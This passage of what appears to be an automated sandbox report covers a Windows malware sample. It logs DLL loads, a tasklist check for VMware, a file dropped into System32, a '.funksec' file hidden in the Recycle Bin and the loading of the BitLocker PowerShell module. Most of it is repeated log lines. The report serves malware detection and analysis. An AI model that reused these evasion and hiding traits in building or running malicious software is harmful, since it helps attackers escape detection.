    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kdscli.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
    Source: C:\Windows\System32\wevtutil.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\System32\wevtutil.exeSection loaded: wevtapi.dllJump to behavior
    Source: C:\Windows\System32\wevtutil.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\System32\wevtutil.exeSection loaded: wevtapi.dllJump to behavior
    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: fastprox.dllJump to behavior
    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: ncobjapi.dllJump to behavior
    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dllJump to behavior
    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dllJump to behavior
    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mpclient.dllJump to behavior
    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: userenv.dllJump to behavior
    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: version.dllJump to behavior
    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: msasn1.dllJump to behavior
    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wmitomi.dllJump to behavior
    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mi.dllJump to behavior
    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: miutils.dllJump to behavior
    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: miutils.dllJump to behavior
    Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: gpapi.dllJump to behavior
    Source: C:\Windows\System32\tasklist.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\tasklist.exe "tasklist" /fi "IMAGENAME eq vmware"
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
    Source: rZU3xTxOnl.exeStatic PE information: Virtual size of .text is bigger than: 0x100000
    Source: rZU3xTxOnl.exeStatic PE information: Image base 0x140000000 > 0x60000000
    Source: rZU3xTxOnl.exeStatic file information: File size 5472768 > 1048576
    Source: rZU3xTxOnl.exeStatic PE information: Raw size of .text is bigger than: 0x100000 < 0x37a000
    Source: rZU3xTxOnl.exeStatic PE information: Raw size of .rdata is bigger than: 0x100000 < 0x18bc00
    Source: rZU3xTxOnl.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
    Source: rZU3xTxOnl.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
    Source: Binary string: dev.pdbw source: rZU3xTxOnl.exe
    Source: Binary string: dev.pdb source: rZU3xTxOnl.exe
    Source: Binary string: d:\dbs\el\omr\target\x86\ship\click2run\x-none\Integrator.pdb source: rZU3xTxOnl.exe, 00000000.00000003.1600554641.000001E547BEB000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: d:\dbs\el\omr\target\x86\ship\click2run\x-none\Integrator.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: rZU3xTxOnl.exe, 00000000.00000003.1600554641.000001E547BEB000.00000004.00000020.00020000.00000000.sdmp
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeFile created: C:\Windows\System32\VvD5lMoAcR.exeJump to dropped file
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeFile created: C:\Windows\System32\VvD5lMoAcR.exeJump to dropped file

    Hooking and other Techniques for Hiding and Protection

    barindex
    Creates files in the recycle bin to hide itself
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeFile created: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1000\desktop.ini.funksecJump to behavior
    Loading BitLocker PowerShell Module
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdateJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRootJump to behavior
    Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
